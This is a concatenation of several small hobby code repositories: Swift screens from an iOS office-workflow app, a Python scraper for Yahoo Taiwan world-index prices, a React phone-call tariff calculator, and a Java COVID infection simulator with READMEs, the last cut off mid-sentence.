forCellReuseIdentifier:"mycell") self.tableView!.estimatedRowHeight = 200.0; // self.tableView!.rowHeight = UITableViewAutomaticDimension; //去除单元格分隔线 self.tableView!.separatorStyle = .None //去除尾部多余的空行 // tableView!.tableFooterView = UIView(frame:CGRectZero) self.view.addSubview(tableView!) self.view.addSubview(cover!) //显示控件 // self.tableView!.contentInset.bottom = 160 //由于设置了自动估算高度 导致最后一个cell弹出屏幕外 增加下边缘的高度 self.tableView!.reloadData() } func ursll(ur:String){ var xin:[[String]]=[] parameters.updateValue(ur, forKey: "currentPage") // showNoticeWait() Alamofire.request(.POST,urll,parameters:parameters,headers:header).responseData{ response in if let j = response.result.value{ let js = JSON(data: j) self.a = js["list"].count;self.b=Int(js["totalCount"].string!)! self.c = self.b xin = [[String]](count: self.a, repeatedValue: [String](count: 4, repeatedValue: "")) // print(self.b) let qq:[String]=["1","SUBJECT","USER_NAME"] for var i=0;i<self.a;i+=1{ for var j=0;j<3;j+=1{ let q = qq[j] xin[i][j]=js["list"][i][q].string! } } if self.b%10 == 0 { self.b = self.b / 10 }else{ self.b = self.b / 10 + 1 } self.ZiLiao += xin // dispatch_async(dispatch_get_main_queue(), { self.tableView!.reloadData() self.cover!.hidden=true // self.clearAllNotice() // return // }) } } } //设置每组有多少数量 func numberOfSectionsInTableView(tableView: UITableView) -> Int { return 1; } func tableView(tableView: UITableView, numberOfRowsInSection section: Int) -> Int { return self.ZiLiao.count } func tableView(tableView: UITableView, cellForRowAtIndexPath indexPath: NSIndexPath) -> UITableViewCell { let cell:GroupCellAll = tableView.dequeueReusableCellWithIdentifier("mycell") as! GroupCellAll cell.titleView.text = self.ZiLiao[indexPath.row][1] cell.GroupEdit.text = self.ZiLiao[indexPath.row][2] // cell.GroupTime.text = self.ZiLiao[indexPath.row][3] return cell } func tableView(tableView: UITableView, didSelectRowAtIndexPath indexPath: NSIndexPath) { tableView.deselectRowAtIndexPath(indexPath, animated: true) //点击cell后cell不保持选中状态 /* let newId = "NOTIFY_ID" + self.ZiLiao[indexPath.row][0] let vc = webView() vc.data = newId // self.presentViewController(vc, animated: true, completion: nil) vc.hidesBottomBarWhenPushed = true //在push到二级页面后隐藏tab bar self.navigationController?.pushViewController(vc, animated: true) //页面跳转 push方法 */ } /* // MARK: - Navigation // In a storyboard-based application, you will often want to do a little preparation before navigation override func prepareForSegue(segue: UIStoryboardSegue, sender: AnyObject?) { // Get the new view controller using segue.destinationViewController. // Pass the selected object to the new view controller. } */ } <file_sep>/zxmoa/submitform.swift // // submitform.swift // zxmoa // // Created by mingxing on 16/4/1. // Copyright © 2016年 ruanxr. All rights reserved. // import UIKit import Alamofire import SwiftyJSON class submitform: FormViewController { var RUN_ID:String? var senders:[[String]] = [] var senders1:[[String]] = [] var se:[Int]=[] var se1:[Int]=[] var qb:[[String]] = [] var date1:[String:AnyObject]? var flag = 0 var ten:Int! struct Static { static let submit = "opUserListStr" static let sub = "userListStr" } func segmentDidchange(segmented:UISegmentedControl){ switch( segmented.selectedSegmentIndex ) { case 0: self.form.removeSectionAll() loadForm(se1,ss: senders1) self.tableView.reloadData() qb = senders1 if ten == 1 || ten == 3{ flag = 1 }else if ten == 2{ flag = 2 } break case 1: self.form.removeSectionAll() loadForm(se,ss: senders) self.tableView.reloadData() qb = senders flag = 0 break default : break } // print(segmented.titleForSegmentAtIndex(segmented.selectedSegmentIndex)) } override func viewDidLoad() { super.viewDidLoad() var items:[String]! if ten == 1 || ten == 2{ items = ["办公室","中层领导"] as [String] }else{ items = ["上报"] as [String] } let segmented=UISegmentedControl(items:items) segmented.center=self.view.center segmented.selectedSegmentIndex = 0 //默认选中第一项 segmented.addTarget(self, action: "segmentDidchange:", forControlEvents: UIControlEvents.ValueChanged) //添加值改变监听 segmented.tintColor = UIColor.redColor() self.view.addSubview(segmented) self.navigationItem.title = "流转节点" self.navigationItem.rightBarButtonItem = UIBarButtonItem(title: "提交 ", style: .Plain, target: self, action: "submit:") loadForm(se1,ss: senders1) segmentDidchange(segmented) // Do any additional setup after loading the view. } func submit(_: UIBarButtonItem!) { date1 = self.form.formValues() let d7:String? = date1!["opUserListStr"] as? String let d8:String? = date1!["userListStr"] as? String if d7 == ""{ let alert: UIAlertView = UIAlertView(title: "警告", message: "没有指定主办人", delegate: nil, cancelButtonTitle: "OK") alert.show() }else{ let opuser = qb[opstringToInt(d7!)][0] date1!["opUserListStr"] = opuser date1!["PRCS_OP_USER"] = qb[opstringToInt(d7!)][1] date1!["PRCS_OP_USER_NAME_TMP"] = opuser date1!["f"] = "turnnext" date1!["flow_node"] = "on" date1!["MOBILE_SMS_REMIND"] = "0" date1!["EMAIL_REMIND"] = "0" date1!["SMS_REMIND"] = "0" date1!["muc"] = "0" date1!["is_concourse"] = "0" date1!["OP_FLAG"] = "1" date1!["FLOW_PRCS_UP"] = "1" date1!["PRCS_ID"] = "1" date1!["RUN_ID"] = RUN_ID if ten == 1{ date1!["FLOW_ID"] = "3004" date1!.updateValue("\(flag)", forKey: "PRCS_TO_CHOOSE") date1!["FLOW_PRCS"] = "\(flag+2)" let user = stringToInt(d8!) var prcs = "" var prcsid = "" for var i = 0;i < user.count;i++ { let s = user[i] prcs = prcs + qb[s][0] + "," prcsid = prcsid + qb[s][1] + "," } date1!["userListStr"] = prcs date1!["PRCS_USER"] = prcsid date1!["PRCS_USER_NAME_TMP"] = prcs }else if ten == 2{ date1!["FLOW_ID"] = "2001" date1!.updateValue("\(flag)", forKey: "PRCS_TO_CHOOSE") date1!["FLOW_PRCS"] = "\(flag+2)" let user = stringToInt(d8!) var prcs = "" var prcsid = "" for var i = 0;i < user.count;i++ { let s = user[i] prcs = prcs + qb[s][0] + "," prcsid = prcsid + qb[s][1] + "," } date1!["userListStr"] = prcs date1!["PRCS_USER"] = prcsid date1!["PRCS_USER_NAME_TMP"] = prcs }else{ date1!["FLOW_ID"] = "3002" date1!["PRCS_TO_CHOOSE"] = "0" date1!["FLOW_PRCS"] = "2" let user = stringToInt(d8!) var prcs = "" var prcsid = "" for var i = 0;i < user.count;i++ { let s = user[i] prcs = prcs + senders[s][0] + "," prcsid = prcsid + senders[s][1] + "," } date1!["userListStr"] = prcs date1!["PRCS_USER"] = prcsid date1!["PRCS_USER_NAME_TMP"] = prcs } print(date1) urll() } } func urll(){ // showNoticeWait() let url = "http://www.zxmoa.com:83/general/workflow/new/do.php" let header = ["Cookie":"PHPSESSID=\(cookpsw)"] Alamofire.request(.POST,url,headers: header,parameters: date1).responseString{ response in if let j = response.result.value{ print(j) print("---------") let range = j.rangeOfString("流程提交完成") if range != nil{ self.showNoticeSuc("流程提交完成", time: 1.5, autoClear: true) self.navigationController?.popToRootViewControllerAnimated(true) }else{ self.showNoticeErr("流程提交失败",time: 1.5, autoClear: true) self.navigationController?.popToRootViewControllerAnimated(true) } } } } func stringToInt(res:String)-> [Int]{ let qcharset=NSCharacterSet(charactersInString:"()") let str4 = res.stringByTrimmingCharactersInSet(qcharset) let charset=NSCharacterSet(charactersInString:",") let resArray=str4.componentsSeparatedByCharactersInSet(charset) let re = NSCharacterSet(charactersInString:" \n ") var trname:[Int]=[] for var i = 0;i < resArray.count;i++ { let str5 = resArray[i].stringByTrimmingCharactersInSet(re) trname.append(Int(str5)!) } return trname } func opstringToInt(res:String)-> Int{ let qcharset=NSCharacterSet(charactersInString:"()") let str4 = res.stringByTrimmingCharactersInSet(qcharset) let charset=NSCharacterSet(charactersInString:",") let resArray=str4 .componentsSeparatedByCharactersInSet(charset) let re = NSCharacterSet(charactersInString:"\n ") let str5 = resArray[0].stringByTrimmingCharactersInSet(re) let trname = Int(str5) return trname! } private func loadForm(s:[Int],ss:[[String]]) { let form = FormDescriptor(title: "流转节点") let section1 = FormSectionDescriptor(headerTitle: "指定主办人", footerTitle: nil) var row = FormRowDescriptor(tag: Static.submit, rowType: .MultipleSelector, title: "指定主办人") row.configuration[FormRowDescriptor.Configuration.Options] = s row.configuration[FormRowDescriptor.Configuration.AllowsMultipleSelection] = false row.configuration[FormRowDescriptor.Configuration.TitleFormatterClosure] = { value in return ss[value as! Int][0] } as TitleFormatterClosure if s.count == 1{ row.value = 0 } section1.addRow(row) let section2 = FormSectionDescriptor(headerTitle: "所有主办人", footerTitle: nil) row = FormRowDescriptor(tag: Static.sub, rowType: .MultipleSelector, title: "所有主办人") row.configuration[FormRowDescriptor.Configuration.Options] = s row.configuration[FormRowDescriptor.Configuration.AllowsMultipleSelection] = true row.configuration[FormRowDescriptor.Configuration.TitleFormatterClosure] = { value in return ss[value as! Int][0] } as TitleFormatterClosure if s.count == 1{ row.value = 0 } section2.addRow(row) form.sections = [section1,section2] self.form = form } override func didReceiveMemoryWarning() { super.didReceiveMemoryWarning() // Dispose of any resources that can be recreated. } } <file_sep>/zxmoa/GroupCellAll.swift // // GroupCellAll.swift // zxmoa // // Created by mingxing on 16/3/17. // Copyright © 2016年 ruanxr. All rights reserved. // import UIKit /**自定义cell的xib视图*/ class GroupCellAll: UITableViewCell { @IBOutlet weak var groupView: UIView! @IBOutlet weak var titleView: UILabel! @IBOutlet weak var GroupEdit: UILabel! @IBOutlet weak var GroupTime: UILabel! override func awakeFromNib() { super.awakeFromNib() // groupView.layer.cornerRadius = 5 /**自动换行*/ titleView.lineBreakMode = NSLineBreakMode.ByWordWrapping /**自动换行*/ titleView.numberOfLines = 0 // Initialization code /**设置cell阴影*/ self.layer.shadowColor = UIColor.grayColor().CGColor self.layer.shadowOffset = CGSizeMake(0, 3)//偏移距离 self.layer.shadowOpacity = 0.3//不透明度 self.layer.shadowRadius = 2.0//半径 self.clipsToBounds = false /**设置cell阴影*/ } override func setSelected(selected: Bool, animated: Bool) { super.setSelected(selected, animated: animated) // Configure the view for the selected state } }
146d5cac4c93abfbe686dc6c48820b00401aeae0
[ "Markdown", "Swift" ]
11
Markdown
a562432988/zxmoa
cf69475b2a18e41f6bcd35a920a31987264b8206
edcd3203cc97d7ff57b4d56c5cbc3177ccaea8e0
refs/heads/main
<repo_name>iammaria/Calculator<file_sep>/index.html <!DOCTYPE html> <html> <script src="handler.js"></script> <link rel="stylesheet" type="text/css" href="style.css" /> <head> <title>Simple Calculator</title> </head> <body> <h1>Calculator</h1> <h4>Put the first number in the field:</h4> <input placeholder="Please, put any number" id=num1 /> <h4>Put the second number in the field:</h4> <input placeholder="Please, put any number" id=num2 /> <h4>Choose the operator:</h4> <button onclick="myFunction(id)" id=sum>+</button> <button onclick="myFunction(id)" id=substract>-</button> <button onclick="myFunction(id)" id=multiply>*</button> <h4>Operation result:</h4> <h3 id=result></h3> </body> </html><file_sep>/README.md # Calculator A basic calculator that can add, subtract, and multiply up to two whole numbers <file_sep>/handler.js function myFunction(clicked_id){ const errorMessage = 'Please, put only numbers'; var displayResult = document.getElementById("result"); var result; displayResult.innerText = ""; var num1 = Number(document.getElementById("num1").value); var num2 = Number(document.getElementById("num2").value); if (Number.isNaN(num1) || Number.isNaN(num2)) { displayResult.style.color="red"; displayResult.append(errorMessage); return; } // get sum of elements if (clicked_id === "sum"){ result = num1 + num2; } // get subtraction of elements if (clicked_id === "substract"){ result = num1 - num2; } // get multiplication of elements if (clicked_id === "multiply"){ result = num1 * num2; } displayResult.append(result); }
e5cc0219a2262661e65f231a5833c339a184f81f
[ "Markdown", "JavaScript", "HTML" ]
3
HTML
iammaria/Calculator
e94c01f9ccf0615dbf9ac8e0fb76831090710476
d5d2aab7a6ca18159ebe7f3836669aa43fc0036e
refs/heads/master
<repo_name>oliie/aurelia-app<file_sep>/src/App/Views/login.ts import { autoinject } from 'aurelia-framework'; import { APIService } from '../Services/APIService'; import { Router } from 'aurelia-router'; import { Configuration } from '../Configs/configuration'; @autoinject export class Login { constructor( private API: APIService, private router: Router, private config: Configuration ) { } username: string = 'kursportal'; password: string = '<PASSWORD>'; authorize() { return this.API.login(this.username, this.password); } canActivate() { let isLoggedIn: boolean = this.API.isTokenValid(); let stayOnPage: boolean = true; this.config.isLoggedIn = isLoggedIn; isLoggedIn ? this.router.navigate(this.config.landingRoute) : stayOnPage; } } <file_sep>/src/app.ts import { autoinject } from 'aurelia-framework'; import { Configuration } from './App/Configs/configuration'; import { Router, RouterConfiguration } from 'aurelia-router'; @autoinject export class App { constructor( private router: Router, private config: Configuration ) { } configureRouter(routerConfig: RouterConfiguration, router: Router) { routerConfig.title = this.config.projectTitle; routerConfig.map([ { route: ['', 'login'], name: 'login', moduleId: 'App/Views/login', nav: false, title: 'Login' }, { route: 'welcome', name: 'welcome', moduleId: 'App/Views/welcome', nav: true, title: 'Welcome' }, { route: 'users', name: 'users', moduleId: 'App/Views/users', nav: false, title: 'Github Users' }, { route: 'child-router', name: 'child-router', moduleId: 'App/Views/child-router', nav: true, title: 'Child Router' }, { route: 'custom-form', name: 'custom-form', moduleId: 'App/Views/custom-form', nav: true, title: 'Custom Form' } ]); this.router = router; } } <file_sep>/src/App/Filters/my-filter.ts export class MyFilterValueConverter { toView(value) { return value + ' transformed!!!'; } } <file_sep>/src/App/Views/custom-form.ts import { autoinject } from 'aurelia-framework'; import { Validation } from 'aurelia-validation'; import { Configuration } from '../Configs/configuration'; import { APIService } from '../Services/APIService'; @autoinject export class CustomForm { constructor( private config: Configuration, private validation: Validation, private API: APIService ) { this.validation.on(this.validateForm) .ensure('firstName') .hasMinLength(3) .isNotEmpty(); } firstName: string = 'Oliver'; lastName: string = 'Praesto'; get fullName(): string { return `${this.firstName} ${this.lastName}`; } canActivate() { return this.API.isTokenValid(); } validateForm(): void { if (this.firstName.length !== 2) { console.log('Error:', 'First Name not equals to 2 chars'); } else { alert(`Welcome, ${this.fullName}!`); } } } <file_sep>/src/App/Configs/configuration.ts export class Configuration { projectTitle: string = 'Innorelia'; baseApiUrl: string = 'http://cinapi.azurewebsites.net/'; landingRoute: string = 'welcome'; notAuthorizedRoute: string = 'login'; isLoggedIn: boolean; }<file_sep>/src/App/Services/APIService.ts import { autoinject } from 'aurelia-framework'; import { HttpClient } from 'aurelia-fetch-client'; import { Configuration } from '../Configs/configuration'; import { Router } from 'aurelia-router'; export interface IPutRequest { entityName: string; entityId: string; attributes: any; } export interface IDeleteRequest { entityName: string; entityId: string; } export interface IPostRequest { entityName: string; attributes: any; } @autoinject export class APIService { constructor( private http: HttpClient, private config: Configuration, private router: Router ) { http.configure(config => { config .useStandardConfiguration() .withBaseUrl(this.config.baseApiUrl); }); } private get getToken() { return sessionStorage.getItem('token'); } private headers: any = { 'Authorization': `Bearer ${this.getToken}`, 'X-Requested-With': 'XMLHttpRequest' }; private errorHandler( errorMessage: any ) { return console.error('CUSTOM ERROR:', errorMessage); } private baseApiRequest( service: string, method: string, params: any ) { return this.http.fetch(service, { method: method, headers: this.headers, body: { attributes: params } }) .then(response => response.json()) .catch(this.errorHandler); } private setSessionAndLogin( response: any, successRoute: string ): void { sessionStorage.setItem('token', (<any>response).access_token); sessionStorage.setItem('session', JSON.stringify(response)); this.router.navigate(successRoute); } /** * Sets token and session in `sessionStorage` and redirects to `successRoute`. * * @method login * @param {string} username CWP Username * @param {string} password <PASSWORD> * @param {string} successRoute Route to redirect to after successful login. */ login( username: string, password: string ) { return this.http.fetch('token', { method: 'POST', body: `username=${username}&password=${<PASSWORD>}&grant_type=password` }) .then(response => response.json()) .catch(this.errorHandler) .then(response => { let hasResponse: boolean = !!response; this.config.isLoggedIn = hasResponse; if ( hasResponse ) { this.setSessionAndLogin(response, this.config.landingRoute); } }); } /** * Returns `true` if token is valid. * * @method isTokenValid */ isTokenValid() { let hasSession: boolean = !!sessionStorage.getItem('session'); let session: any = hasSession ? JSON.parse(sessionStorage.getItem('session')) : false; let now: any = new Date(); if ( hasSession ) { let expires: any = new Date(session['.expires']); let isTokenValid: boolean = (expires > now); this.config.isLoggedIn = isTokenValid; return (typeof isTokenValid === 'boolean') ? isTokenValid : false; } this.config.isLoggedIn = false; return false; } /** * Gets JSON data from CWP Feed (XML-based definition) * * @method get * @param {string} feedName Name of CWP Feed * @param {any} parameters? Optional parameters to CWP Feed (defined by {querystring:field_name}) */ get( feedName: string, parameters?: any ) { return this.baseApiRequest(`API/Feed/${feedName}`, 'GET', parameters); } /** * Posts data to fields in defined entity. Requires a CWP Policy * * @method post * @param {IPostRequest} parameters { entityName: string, attributes?: { fieldName: value } } */ post( parameters: IPostRequest ) { return this.baseApiRequest(`API/Entity`, 'POST', parameters); } /** * Updates data to fields in defined entity. Requires a CWP Policy * * @method put * @param {IPutRequest} parameters { entityName: string, entityId: GUID, attributes: { fieldName: value } } */ put( parameters: IPutRequest ) { return this.baseApiRequest(`API/Entity`, 'PUT', parameters); } /** * Delets post. Requires a CWP Policy * * @method delete * @param {IDeleteRequest} parameters { entityName: string, entityId: GUID } */ delete( parameters: IDeleteRequest ) { return this.baseApiRequest(`API/Entity`, 'DELETE', parameters); } /** * Special method to communicate with custom plugins. * * @method action * @param {string} pluginName Name of the Plugin. Requires CWP Policy with plugin name as `entity`. * @param {any} parameters Object with keys required by plugin. */ action( pluginName: string, parameters: any ) { return this.baseApiRequest(`API/Action/${pluginName}`, 'ACTION', parameters); } } <file_sep>/src/App/Views/welcome.ts import { autoinject } from 'aurelia-framework'; import { APIService } from '../Services/APIService'; import { Configuration } from '../Configs/configuration'; import { Router } from 'aurelia-router'; @autoinject export class Welcome { constructor( private API: APIService, private config: Configuration, private router: Router ) { } heading: string = 'Welcome to the Aurelia Navigation App!'; firstName: string = 'John'; user: string = 'oliverpraesto'; lastName: string = 'Doe'; previousValue: string = this.fullName; alreadyLoggedInRoute: string = this.config.landingRoute; canActivate() { return this.API.isTokenValid(); } get fullName() { return `${this.firstName} ${this.lastName}`; } submit() { this.previousValue = this.fullName; alert(`Welcome, ${this.fullName}!`); } canDeactivate() { if (this.fullName !== this.previousValue) { return confirm('Are you sure you want to leave?'); } } } <file_sep>/TODO.md # Todo * `[✔]` Create: APIService Class * `[✔]` Provide it with CRUD, Action and Login * `[✔]` Create: default Login-page * Create: DOCUMENTATION.md with default layout and a screenshot * `[✔]` Make .bat take a variable for output documentation name * `[✔]` Hide the .bat when finished * Update template Innofactor-way * `[✔]` Create: Yo-Scaffolder (Innorelia?) to: * `[✔]` Create Views * `[✔]` Prompt for SCSS and Router-setup * `[✔]` Create Widgets * `[✔]` Prompt if: Views, ViewModel or Both * `[✔]` Create Filters * Fix scaffold glitch when using `yo` in VS Code * `[✔]` Handle: Routing with authentication * `[✔]` Add: `canActivate()` with token-check. * `[✔]` Configure: TS Lint * Create: Bundle/Deploy-script to server * Create: Form-sponge for values * Create: General and customizable loader for APIService * Create: Guide for test-cases. Best practice * Add: Meta tag for mobile devices * Add: Revision-tags (bundles.js) * Move: styles/bundle.css to only dist? * Update: Set Require-Auth in App.ts for routes (<http://aurelia.io/hub.html#/doc/article/aurelia/framework/latest/securing-your-app/2>) * Add: Validation (wait for support of validatejs/validation) * Add: Animation-CSS (<https://github.com/gooy/aurelia-animator-velocity>? aurelia-animator-CSS?) * Customize: README for this project * Installation: * Typings * NPM * JSPM * Bower * Documentation * Yeoman / Yo * SCSS + BEM * Publishing / Deployment <http://ilikekillnerds.com/2015/09/aurelia-jspm-deployment-best-practices-unknowns/> * E2E * Unit Testing * ES Lint and how to "fix all problems (VS Code)" * Research: MVC5 Aurelia TS instead? * Research: Extend .eslint own Global-vars? * Email: Karin & Jonas vad webbapplikationen är och varför vi behöver den <file_sep>/src/App/Views/child-router.ts import { autoinject } from 'aurelia-framework'; import { Router, RouterConfiguration } from 'aurelia-router'; import { APIService } from '../Services/APIService'; @autoinject export class ChildRouter { heading = 'Child Router'; router: Router; constructor( private API: APIService ) { } canActivate() { return this.API.isTokenValid(); } configureRouter(config: RouterConfiguration, router: Router) { config.map([ { route: ['', 'welcome'], name: 'welcome', moduleId: 'App/Views/welcome', nav: true, title: 'Welcome' }, { route: 'users', name: 'users', moduleId: 'App/Views/users', nav: true, title: 'Github Users' }, { route: 'child-router', name: 'child-router', moduleId: 'App/Views/child-router', nav: true, title: 'Child Router' }, { route: 'custom-form', name: 'custom-form', moduleId: 'App/Views/custom-form', nav: true, title: 'Custom Form' } ]); this.router = router; } } <file_sep>/src/App/Filters/github.ts export class GithubValueConverter { toView(value) { return '@' + value; } fromView(value) { return value.replace('@', ''); } } <file_sep>/src/App/Widgets/nav-bar.ts import { autoinject, bindable } from 'aurelia-framework'; import { Router } from 'aurelia-router'; import { Configuration } from '../Configs/configuration'; import { APIService } from '../Services/APIService'; @autoinject export class NavBar { @bindable router: Router = null; constructor( private API: APIService, private config: Configuration ) { } get isLoggedIn(): boolean { return this.config.isLoggedIn; } logOut() { sessionStorage.clear(); this.config.isLoggedIn = false; this.router.navigate(this.config.notAuthorizedRoute); } }
4a06d1208a0daeabf2e1560dc327d9e3621a87f2
[ "Markdown", "TypeScript" ]
11
TypeScript
oliie/aurelia-app
cb1660f46aae8f77dd6418a1a259fe4e3cf29550
9d157ad19d40021ee71d74dfeccd0f323e239621
refs/heads/master
<file_sep>import React, { useState } from 'react'; import './Home.css' function Home() { const [ligacao, setLigacao] = useState({}) const [selectValues, setSelectValues] = useState(['016', '017', '018']) function calculaValores() { let tempoMinutos = document.getElementById('minutos').value let dddO = document.getElementsByName('dddO') let dddD = document.getElementsByName('dddD') let planos = document.getElementsByName('plano') let valorDddOrigem dddO.forEach(function (ddd) { if (ddd.selected) valorDddOrigem = ddd.value }) let valorDddDestino dddD.forEach(function (ddd) { if (ddd.selected) valorDddDestino = ddd.value }) let valorPlano planos.forEach(function (p) { if (p.selected) valorPlano = p.value }) if (tempoMinutos === '') tempoMinutos = '0' var valorTarifa = calculaValorTarifa(valorDddOrigem, valorDddDestino) calculaValorLigacao(tempoMinutos, valorTarifa, valorPlano) } function calculaValorTarifa(dddOrigem, dddDestino) { var valorTarifa switch (dddOrigem) { case '011': if (dddDestino === '016') valorTarifa = 1.90 else if (dddDestino === '017') valorTarifa = 1.70 else if (dddDestino === '018') valorTarifa = 0.90 else if (dddDestino === '011') valorTarifa = 1 break; case '016': valorTarifa = 2.90 break; case '017': valorTarifa = 2.70 break; case '018': valorTarifa = 1.90 break; default: valorTarifa = 1 break; } return valorTarifa } async function calculaValorLigacao(minutos, tarifa, plano) { var valorMinutos = parseFloat(minutos) var valorPlano = parseFloat(plano) var valorLigacao = { comPlano: 0.00, semPlano: 0.00, economia: 0.00 } if (plano === 'nenhum') { valorLigacao.comPlano = (valorMinutos * tarifa).toFixed(2) valorLigacao.semPlano = (valorMinutos * tarifa).toFixed(2) } else { valorLigacao.semPlano = (valorMinutos * tarifa).toFixed(2) if (valorMinutos <= valorPlano) valorLigacao.comPlano = 0.00 else valorLigacao.comPlano = ((valorMinutos - valorPlano) * (tarifa * 1.1)).toFixed(2) } valorLigacao.economia = (valorLigacao.semPlano - valorLigacao.comPlano).toFixed(2) setLigacao(valorLigacao) } async function valueSelectChange(e) { var ddd = document.getElementsByName('dddO') var selected ddd.forEach((valor) => { if (valor.selected) selected = valor.value }) if (selected !== '011') setSelectValues(['011']) else setSelectValues(['016', '017', '018']) console.log(selectValues) } return ( <> <p className='texto'>Aqui você pode calcular o valor das suas ligações e descobrir o quanto vai economizar com nossos planos.</p> <div className='selectionContainer'> <div className='containerDDDorigem' > <label className='labelDDDOrigem'>Informe o seu DDD</label> <select className='dddOrigem' onChange={valueSelectChange}> <option name='dddO' value='011' selected>011</option> <option name='dddO' value='016'>016</option> <option name='dddO' value='017'>017</option> <option name='dddO' value='018'>018</option> </select> </div> <br /> <div className='containerDDDdestino'> <label className='labelDDDDestino'>Informe o DDD que você deseja ligar</label> <select className='dddDestino' > {selectValues.map((value) => { return (<option name='dddD' value={value}>{value}</option>) })} </select> </div> <br /> <div className='containerPlano'> <label className='labelPlano'>Selecione seu plano</label> <select className='plano'> <option name='plano' value='30.0' selected>Fale Mais 30</option> <option name='plano' value='60.0' >Fale Mais 60</option> <option name='plano' value='120.0' >Fale Mais 120</option> <option name='plano' value='nenhum'>Não tenho plano</option> </select> </div> <br /> <div className='containerMinutos'> <label>Informe a duração da chamada em minutos</label> <input placeholder='ex: 30' type='number' id='minutos' /> </div> <button className='botaoCalcular' onClick={calculaValores}>Calcular</button> </div> <div className='resultados'> <table> <thead> <tr className='titulos'> <th>Com Fale Mais</th> <th>Sem Fale Mais</th> <th>Você economiza</th> </tr> </thead> <tbody> <tr className='linhas'> <td>R${ligacao.comPlano}</td> <td>R${ligacao.semPlano}</td> <td>R${ligacao.economia}</td> </tr> </tbody> </table> </div> </> ) } export default Home<file_sep>## TelZir A aplicação foi feita utilizando HTML, CSS, Javascript e React.js apenas. A mesma tem como finalidade informar o custo de uma ligação com e sem os planos Fale Mais, bem como o valor que o cliente vai economizar com o plano. O calculo é feito com base nas informações inseridas pelo usuário nos campos demarcados, como DDD de origem, DDD de destino, duração da chamada e o plano que o cliente possui. ## Validação dos valores nos inputs O cálculo da tarifa segundo os DDDs de origem e destino tem como base a tabela, retirada do PDF do desafio Origem Destino $/min 011 016 1.90 016 011 2.90 011 017 1.70 017 011 2.70 011 018 0.90 018 011 1.90 Segundo a tabela, se o DDD de origem for 011, o DDD de destino pode ser 016, 017 e 018. Se o DDD de origem for 016, 017 ou 018, o DDD de destino só poderá ser 011 Os planos ofertados para os clientes são: Fale Mais 30, Fale Mais 60 e Fale Mais 120. ## Testes com valores esperados O site por sí só já não permite ao usuário inserir tipos incorretos de dados nos inputs. Alguns testes podem ser feitos utilizando os valores indicados e a resposta deverá ser a mesma presente na tabela: Origem Destino Plano Tempo Com Fale Mais Sem Fale Mais Economia 011 016 FaleMais 30 20 R$ 0,00 R$ 38,00 R$ 38,00 011 017 FaleMais 60 80 R$ 37,40 R$ 136,00 R$ 98,60 018 011 FaleMais 120 220 R$ 167,20 R$ 380,00 R$ 212,80 011 016 FaleMais 30 30 R$ 0,00 R$ 57,00 R$ 57,00 016 011 FaleMais 120 0 R$ 0,00 R$ 0,00 R$ 0,00 018 011 Não tenho plano 37 R$ 51,30 R$ 51,30 R$ 0,00
c31b3bc623218156c23c12f3071a057548e9842b
[ "JavaScript", "Markdown" ]
2
JavaScript
LucasMtss/telzir
bf45f2ecc5e9f4cc265b0007995fa65436d736d6
f64bac5b2d9e6eb1f9b92f61db3a01616fae30a5
refs/heads/main
<file_sep>import requests from bs4 import BeautifulSoup import pandas as pd def name_price(url): resp=requests.get(url) #print(resp) response 200代表連接成功 #print(resp.text) 以文字檔形式呈現網頁原代碼 html=resp.content.decode("utf-8") #print(html) 解碼之後列印整張網頁 soup=BeautifulSoup(html,"html.parser") #print(soup) div_names=soup.find_all("div","span",class_="Lh(20px) Fw(600) Fz(16px) Ell") div_prices=soup.find_all("div","span",class_="Fxg(1) Fxs(1) Fxb(0%) Ta(end) Mend($m-table-cell-space) Mend(0):lc Miw(90px)") #print(div_names) stocks_name=[] for name in div_names: stock_name= name.text.split() #print(stock_name) stocks_name.append(stock_name) #print(stocks_name) #print(len(stocks_name)) stocks_price=[] for price in div_prices[1:]: stock_price=price.text.split() stocks_price.append(stock_price) #print(stocks_price) #print(len(stocks_price)) _data=pd.DataFrame() _data['股名/股號']=stocks_name _data['股價']=stocks_price return _data stock=name_price("https://tw.stock.yahoo.com/world-indices") stock.to_csv('yahoo_stock',encoding='utf-8') <file_sep># Web Crawler ## Yahoo股市 國際指數 股價 ## 爬蟲語言&模組 - 語言:Python - 爬蟲模組:requests,BeautifulSoup - 資料處理模組:pandas <img src="./module.png" alt="cover" width="40%"> ## 主要功能 - 利用爬蟲快速得到網頁資料。 - 利用class節點過濾資料精準得到所需欄位。 - 最後匯出一個csv檔 ## 目標網站畫面截圖 - 目標網站:https://tw.stock.yahoo.com/world-indices (數值隨著股價變動而更改) <img src="./target_1.png" alt="cover" width="45%"> <img src="./target_2.png" alt="cover" width="45%" > ## cvs檔案畫面截圖 <img src="./yahoo國際指數.png" alt="Cover" width="35%"/> ## 開發環境 - Spyder - Python ## 專案開發人員 > [<NAME>](https://github.com/Chrislo-coding)
65875b6c56b9842137beab41135916fe733daa4c
[ "Markdown", "Python" ]
2
Python
chrislo-coding/Yahoo-world-indices
30870c61dc76f6a46cee7bfd02786bf422a52e63
a2c876ad6bcb1f53e3085c6a5e3d32812056a01f
refs/heads/master
<repo_name>Larkoss/Covid19-Simulator<file_sep>/src/team6/hw6/NormalPerson.java package team6.hw6; /** * A class representing a Normal person * * @author <NAME> * @author <NAME> */ public class NormalPerson extends Person { { type = "Normal"; } /** * Class constructor specifying x and y * * @param x the double X position * @param y the double Y position */ public NormalPerson(int x, int y, char grid) { super(x, y, grid, 0.7, 0.66); } } <file_sep>/README.md # Homework 6 for Epl133 ## By <NAME> and <NAME> This is a program for simulating infections, with communities. ## People There are 4 kinds of people in this program. 1. Boomers, old people. ![Boomer](./Boomer.png) 2. Careful people. ![Careful](./Careful.png) 3. Normal people. ![Normal](./Normal.png) 4. Immune people. ![Immune](./Immune.png) ## Grids There are 3 grids representing 3 seperate communities. They can be distinguished in the StdDraw window by their slight differences in dimensions. - The first one has less columns(fatter cells and people). - The second one has as many columns as rows(square cells and people). - The third one has less rows(taller cell and people). The simulation shows 5 steps for each community and then switches to the next one. Think of it like person in a control room with a single screen that switches through 3 cameras. Each time 5 steps of a community are shown the same 5 steps for the other 2 communities are also executed behind the scenes but not shown. ## Cells - Orange cells are infected cells. - White cells are normal non infected cells. - Green cells are airport cells. ## Invariants 1. All probabilities are between 0 and 1 including those 2 values. 2. Vulnerabilities of people Boomer > Normal > Careful > Immune = 0. 3. Immune people can't get infected. 4. People can move in all direction(including diagonally) but only by one step. 5. Mobility of people Immune > Normal = Careful > Boomer. 6. People can't get out of the grid but if they try to in an "airport" cell they will get transported to the next community(assuming it's not full). 7. People can only get transported to the next community if conditions for 